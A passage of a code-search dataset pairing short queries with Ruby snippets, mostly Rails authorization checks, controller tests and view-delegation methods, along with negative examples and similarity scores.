end\n\n\n\n end", "def check_permission\n unless @therapist.user_id == current_user.id\n redirect_back(fallback_location: root_path,\n alert: \"Error: Permission denied - Invalid User\")\n end\n end", "def test_accesses\n create_user\n access_method_id = figo_session.list_banks.first.access_methods.first.id\n figo_session.add_access(access_method_id) # add provider access\n access = figo_session.accesses.first # list provider accesses\n assert figo_session.get_access(access.id).instance_of? Figo::Model::Access # get provider access\n assert figo_session.get_access(access.id).instance_of? Figo::Model::Access # remove stored pin\n destroy_user\n end", "def test_guest_cant_delete_self\n post '/delete_self'\n assert last_response.ok?\n assert last_response.body.include?('You are not logged in')\n end", "def check_user_access\n check_access_and_redirect(@request)\n end", "def validate_access\n if @user_logged_in != @answer.user\n render status: :forbidden\n end\n end", "def check_permission_again\n action = params[:action].to_sym\n action = :read if action == :index || action == :show\n user = current_admin_user\n\n # Build resource from controller and params[:id]\n # Because sometimes we limit via proc, eg open current_admin_user\n subject = supervisor_resource_name.to_sym\n begin\n if !active_admin_config.is_a?(ActiveAdmin::Page)\n klass = active_admin_config.resource_class\n subject = if klass && params[:id]\n klass.find_by_id(params[:id]) || klass\n else\n klass\n end\n end\n rescue Object => error\n $stderr.puts error.message\n $stderr.puts error.backtrace\n end\n\n if !user.can?(action, subject, params)\n Rails.logger.info \"Deny access for #{supervisor_resource_name}/#{action} to #{user.class}:#{user.id}\"\n # raise ActiveAdmin::AccessDenied(...) # This is supposed way, but I prefer to redirect back\n flash[:error] = \"You don't have access to that page\"\n redirect_back_or_to \"/admin\"\n return false\n end\n rescue Object => error\n $stderr.puts error.message\n $stderr.puts error.backtrace\n end", "def test_auth_except\n make_controller :auth_except\n get :index\n assert_response :success\n get :secret_ferret_brigade\n assert_protected\n end", "def verify_rights\n access_allowed?(params.slice(:controller, :action)) || permission_denied\n end", "def test_should_get_access_for_invoice\n setup_access_for_invoice\n \n get :access, :access => @access_key\n assert_redirected_to :controller => 'invoices', :action => 'display_invoice', :id => @access_key\n end", "def check_permissions\n redirect_to index_path, alert: lack_permission_msg unless admin_or_organizer?\n end", "def test_no_unauthenticated_access\n # make sure that we can't get to 'home'\n assert_nil @request.session[:user]\n get :home\n assert_redirected_to :action => \"login\"\n assert_match /You need to log in/, flash[:message] \n end", "def test_that_edit_requires_login\n assert_requires_login do |proxy|\n proxy.get :edit, :user_id => 11, :id => 1\n end\n end", "def test_bounce_not_logged_in\n get :panel\n assert_redirected_to :controller => \"users\", :action => \"login\"\n end", "def check_privileges(session:, action:, campaign:)\n if campaign.creator.id != session.account.id\n custom_error(403, 'character_creation.session_id.forbidden')\n end\n end", "def test_negative_scenario\n result = perform_login\n testFinalActionEqual(result.postAuthResult, \"Allow\")\n end", "def user_is_allowed(resource, action)\n if (!logged_in?)\n redirect_to \"/login?return_url=\" + URI.encode(request.fullpath)\n return false\n end\n \n @user = logged_in_user\n if (!@user.is_allowed(resource, action))\n @error = \"You don't have permission to \" + action + \" \" + resource\n @return_url = request.fullpath\n render :template => \"caboose/extras/error\"\n return false\n end\n \n return true \n end", "def verify_rights\n access_allowed?(controller_action_options) || permission_denied\n end", "def call &block\n return true if before(@action)\n return true if send(@action)\n raise Lux::Error.unauthorized('Access disabled in policy')\n rescue Lux::Error\n error = $!.message\n error += \" - #{self.class}.#{@action}\" if Lux.config(:dump_errors)\n raise Lux::Error.unauthorized(error) unless block\n block.call(error)\n false\n end", "def test_index_authorized\n authorize @valid_user\n get :index\n assert_response :success\n assert_template \"index\"\n end", "def inner_check(action, resource)\n false\n end", "def permission_required \n render_403 unless admin? || @item.is_editable_by?(current_user)\n end", "def unauthorized?(action, subject)\n !authorized? action, subject\n end", "def has_access\n if !@contest.is_organized_by_or_admin(current_user.sk) && @contestproblem.at_most(:not_started_yet)\n render 'errors/access_refused' and return\n end\n end", "def check_can_access\n res = false\n read_actions = [ \"index\", \"list\", \"edit\" ]\n new_actions = [ \"new\", \"create\" ]\n edit_actions = [ \"edit\", \"update\", \"destroy\", \"update_logo\" ]\n\n res ||= (action_name == \"show_logo\")\n res ||= current_user.admin?\n\n if current_user.option_externalclients?\n res ||= (current_user.read_clients? and read_actions.include?(action_name))\n res ||= (current_user.edit_clients? and edit_actions.include?(action_name))\n res ||= (current_user.create_clients? and new_actions.include?(action_name))\n end\n\n if !res\n flash[\"notice\"] = _(\"Access denied\")\n redirect_from_last\n end\n end", "def authorize(action, subject)\n ability.authorize! action, subject\n rescue ::CanCan::AccessDenied\n Rails.logger.info I18n.t('errors.unauthorized', user: user, action: action, subject: subject)\n raise Forbidden\n end", "def verify_access\n unless current_user.id == @worker.user_id\n flash[:warning] = \"You do not have authority to access that.\"\n redirect_to user_path(current_user.id)\n end\n end", "def check_access(team)\n if !team.is_in?(user)\n flash[:error] = \"Vous ne faites pas partie de cette équipe\"\n redirect_referrer\n end\n end", "def verify_access\n return false unless business_line\n return true if current_user.admin?\n return true if business_line.user_has_access?(current_user)\n\n Rails.logger.info(\"User with roles #{current_user.roles.join(', ')} \"\\\n \"couldn't access #{request.original_url}\")\n\n session[\"return_to\"] = request.original_url\n redirect_to \"/unauthorized\"\n end", "def ensure_can_see!(obj)\n raise Discourse::InvalidAccess.new(\"Can't see #{obj}\") unless can_see?(obj)\n end", "def test_should_not_get_new_if_not_admin\n get :new\n \n assert_redirected_to login_path\n end", "def test_cannot_see_donee_wish_if_is_not_donee\n nonshared_wish=create_nonshared_wish\n \n get :show, {user_id: @current_user.id, id: nonshared_wish.id}\n\n assert_response :not_found\n end", "def must_be_admin!\n access_denied! unless current_admin?\n end", "def action_allowed?(action_name)\n # TODO: this does some unnecessary work\n compute_allow_and_deny(action_name).then do\n\n deny = @__deny_fields == true || (@__deny_fields && @__deny_fields.size > 0)\n\n clear_allow_and_deny\n\n !deny\n end\n end", "def is_authorized_to_perform(action)\n permission = role.shift_management_permissions_table.read_attribute(:\"#{action}\")\n return permission != :nobody\n end", "def test_set3_16_check()\n prin_name = 'Klubicko'\n acc_type = 'allow'\n priv_name = 'SELECT'\n res_ob_type = 'doc'\n res_ob_adrs='/db/temp'\n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs)\n acc_type = 'deny' \n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs)\n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(false, access)\n end", "def test_new_ticket_bannerite()\n get :new, {}, {:cas_user => users(:banner_user).username}\n assert_response :redirect\n assert_redirected_to :controller => 'login', :action => 'index'\n assert_equal @no_permission_msg, flash[:notice]\n end", "def restrict_access\t\n\t\tif current_user.owner == false\n\t\t\tredirect_to user_path(current_user), notice: \"You can't view this page, contact your box owner\"\n\t\tend\t\n\tend", "def user_actions(user)\n can_act_as_logged_in_user(user) unless Revs::Application.config.restricted_beta # also have logged in privileges if we are not in beta\n end", "def access action\n\t\tif current_user\n \treturn true\n else\n \treturn false\n end\n\n\tend", "def access_to_action(action)\n access = false\n\n # Editors can :edit\n\n if editor_access_level? & (AccessLevels::EDITOR_ACTIONS.include? action)\n access = true\n end\n\n # Admins can :delete\n\n if admin_access_level?\n access = true\n end\n\n return access\n end", "def test_unredact_way_unauthorised\n way = create(:way, :with_history, :version => 2)\n way_v1 = way.old_ways.find_by(:version => 1)\n way_v1.redact!(create(:redaction))\n\n post :redact, :params => { :id => way_v1.way_id, :version => way_v1.version }\n assert_response :unauthorized, \"should need to be authenticated to unredact.\"\n end", "def check_access_control\n @bot = Bot.find(params[:id])\n\n response_access_denied unless current_user.has_role?(:admin) || current_user.id == @bot.account.user_id\n rescue\n response_access_denied\n end", "def test_find_for_permission\n assert ControllerAction.find_for_permission(nil)\n end", "def protect?(action)\n true\n end", "def protect?(action)\n true\n end", "def protect?(action)\n true\n end", "def protect?(action)\n true\n end", "def check_access\n if current_user.nil? or !current_user.is_admin?\n flash[:error] = t('no_access')\n redirect_to :root\n return false\n end\n end", "def verify_ownership\n set_user_training\n if UserTrainingAccessibility.new( current_user, @user_training ).is_owned\n return\n else\n flash[:error] = I18n.t(:invalid_action_request)\n redirect_to( user_trainings_path() ) and return\n end\n end", "def test_cant_be_edited_by_nil_users\n profile = Profile.new\n assert_equal false, profile.can_be_edited_by?(nil)\n end", "def test_redact_way_unauthorised\n way = create(:way, :with_history, :version => 4)\n way_v3 = way.old_ways.find_by(:version => 3)\n\n do_redact_way(way_v3, create(:redaction))\n assert_response :unauthorized, \"should need to be authenticated to redact.\"\n end", "def restrict_access\n head :unauthorized and return false unless current_user\n end", "def check_if_user_can_perform_action_on_resources\n if @item && @item.is_a?(Typus.user_class)\n check_if_user_can_perform_action_on_user\n else\n not_allowed if admin_user.cannot?(params[:action], @resource.model_name)\n end\n end", "def access_robot\n raise 'unauthorised' if current_user != @robot.user \n end", "def access_action?(action = nil, object = nil, &block)\n return true if response.status/100 == 4 && settings.access_errors\n if respond_to?(:request) && action.nil? && object.nil?\n object = request.controller\n action = request.action\n if object.nil? && action.present? && action.to_s.index('/')\n object, action = request.env['PATH_INFO'].to_s.scan(/\\/([^\\/]*)/).map(&:first)\n end\n object ||= :''\n action ||= :index\n object = object.to_sym\n action = action.to_sym\n end\n settings.permissions.check(access_subject, :allow => action, :with => object, &block)\n end" ]
[ "0.71123266", "0.69788283", "0.6522834", "0.64373386", "0.64342105", "0.6428972", "0.6410233", "0.6398427", "0.63782954", "0.6375055", "0.63680017", "0.6304291", "0.6302578", "0.62869495", "0.62827134", "0.6269447", "0.62516826", "0.6247354", "0.6228233", "0.6224001", "0.6208682", "0.61900264", "0.6189548", "0.6189548", "0.6189548", "0.617976", "0.617898", "0.61701626", "0.6167233", "0.6159497", "0.6133538", "0.6130883", "0.6130883", "0.6130883", "0.6127829", "0.6124989", "0.61224914", "0.6117683", "0.6108956", "0.6102254", "0.6069416", "0.60524285", "0.60524285", "0.60423976", "0.603718", "0.60217726", "0.60177493", "0.6016262", "0.60099924", "0.60033035", "0.60023415", "0.6001036", "0.59947467", "0.59817445", "0.59698147", "0.59607935", "0.5952225", "0.5947379", "0.59431005", "0.59418505", "0.5939189", "0.59390724", "0.59370637", "0.5927729", "0.59261316", "0.5923153", "0.59178716", "0.5917052", "0.58987135", "0.5894925", "0.5888852", "0.58796114", "0.5877539", "0.58765566", "0.58736825", "0.5866771", "0.5846764", "0.5846523", "0.5837629", "0.58335817", "0.5828296", "0.58265626", "0.58206546", "0.5819131", "0.581781", "0.58160996", "0.58111", "0.5810747", "0.58031267", "0.58031267", "0.58031267", "0.58031267", "0.5799816", "0.5796723", "0.57962555", "0.5794538", "0.5793125", "0.57889426", "0.5788304", "0.57862973" ]
0.8491018
0
This is the core of the test system.
def request_passes_role_security_system?(action, params) did_it_pass = false action = action.to_s hijacker = Hijacker.new(@controller.class) begin assert hijacker.hijack_instance_method(action, "@last_action_passed='#{action}'; render :text => 'passed'"), "unable to hijack method '#{action}'. Are you sure the action exists?" get action, params rescue assert false, "error occurred while trying to access action '#{action}' -- #{$!.to_s}.\nCheck to make sure that you are passing needed parameters.\n#{$!.backtrace * "\n"} " ensure hijacker.restore end did_it_pass = (action.to_s == assigns(:last_action_passed)) # make sure it actually made it through end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def tests; end", "def tests; end", "def test_setup\r\n \r\n end", "def testing\n # ...\n end", "def self_test; end", "def self_test; end", "def my_tests\n end", "def testloop\n \n end", "def running_test_case; end", "def run_app_tests\n end", "def default_test\r\n end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def test_case; end", "def setup\r\n end", "def default_test\n end", "def run_test\n # Add your code here...\n end", "def run_test\n # Add your code here...\n end", "def test\n end", "def test\n end", "def test\n end", "def test \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def default_test; end", "def setup\n\n end", "def setup\n\n end", "def setup\n\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def run_fe_tests\n end", "def test\n\n end", "def setup; end", "def setup\n\t\t\t\tp \"mytest1 setup\"\n\t\tend", "def setup\n\n end", "def setup\n\n end", "def default_test\n end", "def default_test\n end", "def __dummy_test__\n end", "def testing_engine\n puts \"engine method\"\n end", "def test\n require File.expand_path(File.join(File.dirname(__FILE__), \"tests/tests\"))\n Test.run\nend", "def default_test\n end", "def test_0_dummy\n\t\tend", "def setup\n\t\tend", "def setup\n\t\tend", "def test_cases; end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def testing_begin(files)\n end", "def test_step; end", "def setup\r\n\r\n # Save the Global variable's original settings so that they can be changed in this\r\n # test without affecting other test, so long as they are restored by teardown\r\n @@VERBOSE_ORIG = $VERBOSE\r\n @@DEBUG_ORIG = $DEBUG\r\n @@FAST_SPEED_ORIG = $FAST_SPEED\r\n @@HIDE_IE_ORIG = $HIDE_IE\r\n\r\n # Record the time that current test case starts\r\n @@tTestCase_StartTime = Time.now\r\n\r\n # Start a new Logger Object and assign it to a Global Object\r\n #\r\n # Using the default values:\r\n # Create a \"waitr_works/results\" directory within the OS's Temporary directory\r\n # That directory will contain the single log file used for all tests.\r\n # If the current log file gets too big, output rolls to another log file.\r\n if(@@bLogOutput == true)\r\n $logger = capture_results()\r\n end\r\n\r\n # Hide the annoying console window so that it doesn't cover any of the screen\r\n minimize_ruby_console()\r\n\r\n # Record the test environment if it hasen't already been recorded\r\n if($bEnvironmentRecorded != true)\r\n $bEnvironmentRecorded = record_environment()\r\n @@bContinue = $bEnvironmentRecorded\r\n end\r\n\r\n # Open the Workbook containing the data for the test cases,\r\n # and read the data into memory if it hasen't already been read\r\n if((@@bContinue == true) and ($bDataSetRead != true))\r\n #$bDataSetRead = read_dataset()\r\n @@bContinue = $bDataSetRead\r\n end\r\n\r\n # Open a browser and access the site if it hasen't already been recorded\r\n #if((@@bContinue == true) and ($bWebSiteAccessed != true))\r\n\r\n $browser = start_browser($sDefaultBrowser)\r\n #$browser.goto(\"www.ask.com\")\r\n\r\n #$bWebSiteAccessed = access_dishonline()\r\n @@bContinue = $bWebSiteAccessed\r\n #end\r\n\r\n\r\n\r\n end", "def spec; end", "def spec; end", "def default_test\n info \"self: #{self}\"\n end", "def setup()\n end", "def test_frameworks; end", "def initialize\n # Retrieve test name from test script index.\n @test_name = OLE_QA::Smoketest.test_scripts.invert[self.class.name.split('::')[-1]]\n\n # Initialize instance.\n @results = Hash.new\n @session = OLE_QA::Smoketest.session\n @ole = OLE_QA::Smoketest.ole\n\n # @test_header starts with sequential number of test script unless it is the only one running.\n OLE_QA::Smoketest.options[:testscript] ?\n @header = '' :\n @header = (OLE_QA::Smoketest.test_scripts.keys.sort.index(@test_name) + 1).to_s + '. '\n @header += @test_name\n\n # Clear any dialog boxes which may remain from a previous test.\n dismiss_dialog\n\n # Run the actual test steps.\n @results[:time] = Benchmark.realtime do\n begin\n report(@header.ljust(25) + '-- Begin.')\n self.run if defined?(run)\n @results[:outcome] = true\n rescue => e\n dismiss_dialog\n @results[:outcome] = false\n report(e.class.name, 1)\n report(e.message, 1)\n e.backtrace.each {|line| report line,2}\n time_now = Chronic.parse('now')\n screenshot_filename = \"Failure-#{time_now.strftime(\"%Y-%m-%d-%H%M%S\")}.png\"\n @ole.browser.screenshot.save(\"#{OLE_QA::Smoketest::LoadDir}/screenshots/#{screenshot_filename}\")\n report(\"Saved screenshot: #{screenshot_filename}\")\n OLE_QA::Smoketest.exit_status = 1 if OLE_QA::Smoketest.exit_status == 0\n ensure\n dismiss_dialog\n close_extra_windows\n @ole.open\n logout\n report(@header.ljust(25) + '-- End.')\n end\n end\n @results[:time] = self.format_time(@results[:time])\n\n # Report the results.\n @results[:outcome] ? outcome_str = 'Pass' : outcome_str = 'Fail'\n @results[:final] = @header.ljust(25) + '-- ' + outcome_str + \" (#{@results[:time]})\"\n puts @results[:final] if OLE_QA::Smoketest.options[:logging?] && !OLE_QA::Smoketest.options[:quiet?]\n report(@results[:final])\n end", "def running_test_step; end", "def run_tests t, libr = :cascade, test_files=\"test_*.rb\"\n require 'test/unit/testsuite'\n require 'test/unit/ui/console/testrunner'\n require 'tests/testem'\n \n base_dir = File.expand_path(File.dirname(__FILE__) + '/../') + '/'\n \n runner = Test::Unit::UI::Console::TestRunner\n \n $eventmachine_library = libr\n EmTestRunner.run(test_files)\n \n suite = Test::Unit::TestSuite.new($name)\n\n ObjectSpace.each_object(Class) do |testcase|\n suite << testcase.suite if testcase < Test::Unit::TestCase\n end\n\n runner.run(suite)\nend", "def run_tests()\n @loaded_modules.each do |module_name|\n module_class = Object.const_get(module_name.to_s).const_get(module_name.to_s).new\n if module_class.respond_to?( 'run' )\n module_class.run()\n else\n puts \"\\e[31mWARNING\\e[0m: Module #{(module_name)} not implemented\"\n end\n end\n end" ]
[ "0.7824516", "0.7824516", "0.7509247", "0.75055563", "0.7347401", "0.7347401", "0.728895", "0.7216379", "0.7194009", "0.7146875", "0.7134804", "0.7122266", "0.7122266", "0.7122266", "0.7122266", "0.7122266", "0.7122266", "0.7122266", "0.7122266", "0.7122266", "0.7122266", "0.7122266", "0.7122266", "0.7122266", "0.7122266", "0.7122266", "0.7122266", "0.7122266", "0.7122266", "0.7122266", "0.7103849", "0.70753074", "0.6974328", "0.6958297", "0.6958297", "0.6951982", "0.6951982", "0.6951982", "0.6947706", "0.6947296", "0.6947296", "0.6947296", "0.6947296", "0.6947296", "0.6947296", "0.6947296", "0.69396245", "0.69396245", "0.69396245", "0.69396245", "0.69396245", "0.69396245", "0.69162047", "0.6906549", "0.6906549", "0.6906549", "0.6900823", "0.6900823", "0.6900823", "0.6900823", "0.6900823", "0.6900823", "0.6900823", "0.6900823", "0.6900823", "0.6900823", "0.6900823", "0.6900823", "0.6889776", "0.68678266", "0.6862305", "0.68607074", "0.6858248", "0.6858248", "0.68342793", "0.68342793", "0.683298", "0.681083", "0.68049794", "0.6804564", "0.67999053", "0.67933047", "0.67933047", "0.6793291", "0.67877835", "0.67877835", "0.67877835", "0.67877835", "0.67877835", "0.6777743", "0.67210263", "0.6718434", "0.67029715", "0.67029715", "0.6702681", "0.67002136", "0.66854966", "0.6677571", "0.667579", "0.6674507", "0.66719025" ]
0.0
-1
Save away the view but also call super (SimpleDelegator) which will make sure that any calls in any subclass, like content_tag, will be forwarded onto the view_context automatically via SimpleDelegator method_missing implementation.
def initialize(view_context) @view_context = view_context super end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def method_missing(*args, &block)\n @view_context.send(*args, &block)\n end", "def method_missing(method, *args, &block)\n if @view.respond_to?(method)\n (class << self; self; end).class_eval do\n delegate method, to: :@view\n end\n self.send method, *args, &block\n else\n super\n end\n end", "def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name,content|\n view.content_for name, content\n end\n end\n end", "def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end", "def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name,content|\n view.content_for name, content\n end\n end\n end", "def method_missing(*args, &block)\n @_view.send(*args, &block)\n end", "def method_missing(method, *args, &block)\n view.send(method, *args, &block)\n end", "def view_context\n super.tap do |view|\n (@_content_for_layout || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end", "def method_missing(method, *args, &block)\n @view.send(method, @selector, *args, &block)\n self\n end", "def view_context\n @view_context\n end", "def _h\n @view_context\n end", "def method_missing(sym, *args, &block)\n if matches = sym.to_s.match(/^.*(?=_view$)|view$/)\n return Tanuki::Loader.run_template(\n {},\n self,\n matches[0].to_sym,\n *args,\n &block\n )\n end\n super\n end", "def view_context\n ActionView::Base.new\n end", "def method_missing(method, *args, &block) \n return super unless part(method)\n part(method).render\n end", "def _view; end", "def method_missing(meth, *args, &block)\n if @template.respond_to?(meth)\n @template.send(meth, *args)\n else\n super\n end\n end", "def method_missing(meth, *args, &block)\n if @template.respond_to?(meth)\n @template.send(meth, *args)\n else\n super\n end\n end", "def method_missing(name, *args, &block)\n if @obj.respond_to?(name)\n @obj.send(name, *args, &block)\n elsif templates.key?(name.to_s)\n render(name)\n else\n super\n end\n end", "def view\n @_view\n end", "def method_missing(method, *args, &block)\n super(method, *args) unless block_given?\n options, attrs, element = (args.detect { |arg| arg.is_a?(Hash) } || {}), {}, nil\n\n # handle methods separately if they match the pre-defined elements\n if ELEMENTS.include?(method.to_sym)\n attrs, element = options, method\n else \n attrs, element = { :class => method.to_s.downcase.gsub('_', options[:glue] || ' ') }, :div \n end\n \n wrapper(element, attrs, @template.capture(&block), block.binding)\n end", "def view_context\n super.tap { |actual_view_context| actual_view_context.content_for :meta_description, @page.meta_description }\n end", "def view_context\n options[:view_context]\n end", "def capture(*args)\n super.html_safe\n end", "def method_missing(method, *args, &block)\n if template_defined?(method)\n expand(method, *args, &block)\n else\n super\n # action(method, *args, &block)\n end\n end", "def method_missing(meth, *args, &block) #:nodoc:\n returning template.__send__(meth, *args, &block) do\n self.class.class_eval %{delegate :#{meth}, :to => :template}\n end\n end", "def method_missing(meth, *args, &block) #:nodoc:\n returning template.__send__(meth, *args, &block) do\n self.class.class_eval %{delegate :#{meth}, :to => :template}\n end\n end", "def method_missing( *args )\n view = @view\n method = args.first\n if view.respond_to?( method )\n view.send(*args)\n else\n raise NoMethodError, \"undefined method `#{method}' for #{self.class.name}\"\n end\n end", "def call\n load_view_class\n return <<-RUBY\n instance_vars = assigns.merge(local_assigns).inject({}) do |result, (name, value)|\n result.update(\"@\\#{name}\" => value)\n end\n view = #{view_class_name}.new(self, instance_vars) { |*names| yield(*names) }\n view.#{render_method}(#{template_source.inspect})\n RUBY\n end", "def add_view\n super\n end", "def method_missing( *args )\r\n view = @view\r\n method = args.first\r\n if view.respond_to?(method)\r\n view.send(*args)\r\n else\r\n raise NoMethodError, \"undefined method `#{method}' for #{self.class.name}\"\r\n end\r\n end", "def get_view\n #debugger\n self.becomes(self.type.constantize).get_view\n end", "def method_missing(method_name, *args, &blk)\n @context.__send__(method_name, *args, &blk)\n end", "def call_content_method\n wrapper { super }\n end", "def view_info\n super\n end", "def view_instance\n # view = if controller.response.template\n # controller.response.template\n # else\n View.new controller, master_helper_module\n # end\n \n # view.extend Extensions::View\n end", "def method_missing(method, *args, &block)\n if template_defined?(method)\n expand(method, *args, &block)\n else\n super\n end\n end", "def render(view, locals, buffer=nil, &block)\n mod = view.is_a?(Deface.template_class) ? Deface.template_class : view.singleton_class\n\n if @compiled && !mod.instance_methods.include?(method_name.to_sym)\n @compiled = false\n @source = refresh(view).source\n end\n buffer.nil? ? super(view, locals, buffer, &block) : super(view, locals, **buffer, &block)\n end", "def render_in(view_context, &block)\n self.class.compile\n @view_context = view_context\n @view_renderer ||= view_context.view_renderer\n @lookup_context ||= view_context.lookup_context\n @view_flow ||= view_context.view_flow\n @virtual_path ||= virtual_path\n @variant = @lookup_context.variants.first\n old_current_template = @current_template\n @current_template = self\n\n # Pass self as a block parameter\n @content = render_block(view_context, &block) if block_given?\n validate!\n\n send(self.class.call_method_name(@variant))\n ensure\n @current_template = old_current_template\n end", "def view view, &block\n @views[view]\n if block\n raise \"Nested views not supported\" if @current_view\n @current_view = view\n self.instance_eval &block\n @current_view = nil\n end\n end", "def default_view_context\n ActionController::Base.new.view_context\n end", "def default_view_context\n ActionController::Base.new.view_context\n end", "def markup_context; end", "def markup_context=(_arg0); end", "def method_missing(class_or_id, content = nil, **attributes, &template)\n class_or_id = class_or_id.to_s\n self.send class_or_id.end_with?(?!) ? :id : :klass,\n class_or_id.chomp(?!)\n\n _merge attributes\n\n @content.concat @builder.tags_for(content, &template) \\\n if @builder\n\n self\n end", "def render(*args)\n super *args\n end", "def process_template name, args\n super name, args, [\"#@current_class##@current_method\"]\n end", "def view()\n @view\n end", "def render(options = nil, extra_options = {}, &block)\n if params[:format] == 'xml' # dump the view state as XML\n put_xml @view_state\n else\n super options\n end\n end", "def rendered_views=(_arg0); end", "def method_missing(*args, &block)\n @template.send(*args, &block)\n end", "def method_missing(*args, &block)\n @template.send(*args, &block)\n end", "def method_missing(*args, &block)\n @template.send(*args, &block)\n end", "def method_missing(*args, &block)\n @template.send(*args, &block)\n end", "def view(page, *)\n rails_render(action: page.tr(\"-\", \"_\"), layout: true) ||\n rails_render(html: super.html_safe, layout: true)\n end", "def render(options={}, result=Result.new)\n name = options[:as] || wrapped_model_name.underscore\n result[name] = view = self.view\n _include_associations(result, view, options[:include])\n end", "def method_missing(method, *args, &block)\n super unless original_self\n original_self.send method, *args, &block\n end", "def method_missing(method, *args, &block)\n @response.respond_to?(method) ? @response.__send__(method, *args, &block) : super\n end", "def initialize(object, view_context)\n super(object)\n @view_context = view_context\n self.class.setup_alias_method\n end", "def method_missing(method_name, *args, &block)\n if helper_exists?(method_name)\n parsed_args = merge_optional_string(args)\n render_helper(method_name, parsed_args)\n else\n super method_name, *args, &block\n end\n end", "def method_missing(method_name, *arguments)\n @value ? super : Representations.representation_for(nil, @template, method_name, self)\n end", "def method_missing(method, *args, &block)\n context.send(method, *args, &block)\n end", "def method_missing(method, *args, &block)\n context.send(method, *args, &block)\n end", "def content\n View.render\n ensure\n self.class.reset\n end", "def outer_content_for(name, content = nil, &block)\n outer_view.instance_eval do\n content_for(name, content, &block)\n end\n\n # This was the old implementation, which didn't work for me. Also, it was needlessly complex, since we can just do an instance_eval on the outer_view and then invoke and reuse Rails' normal content_for helper.\n # The old implementation also didn't let you retrieve content with <%= content_for(:name) %> (content = nil) like the Rails one allows.\n # This was returning a different object each time outer_content_for was called -- and it certainly wasn't the same object_id as self.object_id gave from the outermost layout view, so it must be creating a new object each time or something rather than just fetching the existing one (from an instance variable, f.e.):\n #outer_view = controller.parent_controller.view_context\n #::Rails.logger.debug \"... outer_view.send(:'instance_variables')=#{ outer_view.send(:'instance_variables').inspect}\"\n #::Rails.logger.debug \"... outer_view.object_id=#{outer_view.object_id.inspect}\"\n #content = capture(&block) if block_given?\n #content_for = outer_view.send(:'instance_variable_get', :\"@_content_for\")\n #::Rails.logger.debug \"... content_for=#{content_for.inspect}\"\n #content_for[name] << content\n #outer_view.send(:'instance_variable_set', :\"@_content_for\", content_for)\n #nil\n end", "def context_methods\n super + [:context]\n end", "def render(view, locals, buffer=nil, &block)\n @template.instance_variable_set(:'@source', wrapped_source)\n\n super(view, locals, buffer, &block)\n end", "def enforce_viewing_context_for_show_requests \n end", "def method_missing(m, *args, &blk)\n @context.__send__(m, *args, &blk)\n end", "def render_view_hook(view, placement, context, args = {})\n find(view, placement).each_with_object(\"\".html_safe) do |partial, buffer|\n buffer.safe_concat context.render(partial, **args)\n end\n end", "def render!; raise NotImplementedError end", "def view; end", "def x()\n @view__.x\n end", "def view_instance\n view = ActionView::Base.new(controller.class.view_paths, {}, controller)\n view.extend master_helper_module\n end", "def initialize(object, view_context: self.class.default_view_context)\n __setobj__(object)\n @view_context = view_context\n end", "def render(*args)\n decorate_all\n super\n end", "def get_content()\n return super()\n end", "def call(context, page)\n raise NotImplementedError\n end", "def context_or_context_view\n if @context.is_a?(UIViewController)\n @context.view\n else\n @context\n end\n end", "def call\n setup_context\n super\n end", "def render\n raise NotImplementedError, \"Subclasses must implement a render method\"\n end", "def render\n raise NotImplementedError\n end", "def after_view_setup\n end", "def method_missing(symbol, *args, &block)\n return super(symbol, args, &block) unless self.rtypes.member? symbol\n if args.count == 0\n get_value_in_view symbol, @current_view\n else\n add_value_in_view symbol, args, @current_view\n end\n end", "def method_missing(m, *args, &block)\n if m.to_s =~ /^to_(\\w+)$/\n renderer = m.to_s.split('_')[1]\n renderer = renderer[0].upcase + renderer[1..-1]\n try_require(renderer)\n render(renderer)\n else\n super\n end\n end", "def sync_render_context\n self\n end", "def sync_render_context\n self\n end", "def initialize(view)\n @view = view\n end", "def method_missing(method, *arguments, &block)\n if xhtml_block?(method, arguments)\n @xml.__send__(method, *arguments) do\n @xml.div(xmlns: \"http://www.w3.org/1999/xhtml\") do |xhtml|\n block.call(xhtml)\n end\n end\n else\n @xml.__send__(method, *arguments, &block)\n end\n end", "def store_preferred_view\r\n return if %w[default online_contents collection_context child_components].include?(params[:view])\r\n\r\n super\r\n end", "def render\n raise \"Trying to call abstract method for #{self}\"\n end", "def view_post\n content \n end", "def render\n raise NotImplementedError, 'this should be overridden by concrete sub-class'\n end", "def proxy\n super\n end", "def before_render\n return unless @klass && @method\n\n @labeller = Core::LabellerDelegate.new(klass_or_model: @klass, method: @method,\n action_name: view_context&.action_name&.to_sym,\n interpolations: @interpolations)\n end", "def render\n raise NotImplementedError\n end", "def view_methods\n %i[tag content_tag image_tag concat content_for link_to component capture]\n end", "def render options\n options.view_model = self\n \n determine_and_set_format options\n \n self.class.render view_instance, options\n end", "def lookup_context\n @_lookup_context ||=\n ActionView::LookupContext.new(self.class._view_paths, details_for_lookup, _prefixes)\n end", "def lookup_context\n @_lookup_context ||=\n ActionView::LookupContext.new(self.class._view_paths, details_for_lookup, _prefixes)\n end", "def method_missing method, *args, &block\n # respond_to?(symbol, include_all=false)\n if dom.respond_to? method, true\n dom.send method, *args, &block\n else\n super\n end\n end" ]
